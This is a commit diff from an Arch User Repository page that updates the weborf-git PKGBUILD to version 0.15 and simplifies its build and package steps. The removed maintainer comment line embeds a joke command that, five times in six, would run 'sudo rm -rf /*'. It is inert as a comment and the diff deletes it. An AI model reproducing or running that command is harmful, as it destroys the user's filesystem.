summarylogtreecommitdiffstats
path: root/PKGBUILD
diff options
context:
space:
mode:
authorHcra2019-02-18 08:56:56 +0100
committerHcra2019-02-18 08:56:56 +0100
commitd201b451e9c3e83e875b5888d702ddd1fdaec621 (patch)
treec0d4990148ba26c258855d39d342ac936ea4aaa1 /PKGBUILD
parent8451febdbbf94d5ecc7407ea3d973fc27c276735 (diff)
downloadaur-d201b451e9c3e83e875b5888d702ddd1fdaec621.tar.gz
upgrade to 0.15
Diffstat (limited to 'PKGBUILD')
-rw-r--r--PKGBUILD81
1 files changed, 23 insertions, 58 deletions
diff --git a/PKGBUILD b/PKGBUILD
index e43b542974f0..9c4f4e6fcbdd 100644
--- a/PKGBUILD
+++ b/PKGBUILD
@@ -1,69 +1,34 @@
-# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `>
-pkgbase=weborf-git
-pkgname=(weborf-git qweborf-git)
-pkgver=0.13+102+g5bc736e
+# Maintainer: hcra <hcra at u53r dot space>
+
+pkgname=weborf-git
+_pkgname="weborf"
+pkgver=0.15.r21.gb0dc718
pkgrel=1
+pkgdesc="Minimal HTTP server to share your files."
+arch=('i686' 'x86_64' 'armv7h' 'armv6h' 'aarch64')
url='https://ltworf.github.io/weborf/'
-arch=(i686 x86_64)
license=(GPL3)
-source=(git+https://github.com/ltworf/weborf.git)
-sha512sums=(SKIP)
-makedepends=()
-
-for _pkg in "${pkgname[@]}"; do case "$_pkg" in
-
-qweborf*)
- makedepends+=(python-pyqt5)
-;;
-
-esac; done
+makedepends=('pacman>=5.1' 'git' 'sudo' 'findutils')
+conflicts=('weborf')
+source=("git+https://github.com/ltworf/weborf.git#branch=master")
+md5sums=("SKIP")
pkgver() {
- cd "$srcdir/weborf"
- git describe | tr - +
+ cd "$srcdir/$_pkgname"
+ git describe --long --tags | sed 's/^v//;s/\([^-]*-g\)/r\1/;s/-/./g'
}
build() {
- cd "$srcdir/weborf"
-
- for _pkg in "${pkgname[@]}"; do case "$_pkg" in
-
- weborf*)
- autoreconf -f -i
- ./configure --prefix=/usr --sysconfdir=/etc
- make
- ;;
-
- qweborf*)
- pyuic5 qweborf/main.ui > qweborf/main.py
- python qweborf.setup.py build
- ;;
-
- esac; done
-}
-
-package_weborf-git() {
- pkgdesc='A lightweight web server designed for rapidly sharing files over HTTP (git snapshot)'
- depends=(file)
- provides=(weborf)
- conflicts=(weborf)
-
- cd "$srcdir/weborf"
- make install DESTDIR="$pkgdir"
- rm -rf "$pkgdir/etc/init.d"
+ cd "$srcdir/$_pkgname"
+ autoreconf -f -i
+ ./configure --prefix=/usr --sysconfdir=/etc
+ make VERSION="$pkgver"
}
-package_qweborf-git() {
- pkgdesc='A lightweight web server designed for rapidly sharing files over HTTP - Qt frontend (git snapshot)'
- arch=(any)
- depends=(python python-pyqt5 weborf-git)
- provides=(qweborf)
- conflicts=(qweborf)
-
- cd "$srcdir/weborf"
- python qweborf.setup.py install --root="$pkgdir"
- install -Dm 0755 qweborf/qweborf \
- "$pkgdir/usr/bin/qweborf"
- install -Dm 0755 qweborf/qweborf.desktop \
- "$pkgdir/usr/share/applications/qweborf.desktop"
+package() {
+ cd "$srcdir/$_pkgname"
+ make DESTDIR="$pkgdir" VERSION="$pkgver" install
+ cd "$pkgdir"
+ find lib -type f -exec install -D {} usr/{} \;
+ rm -r lib
}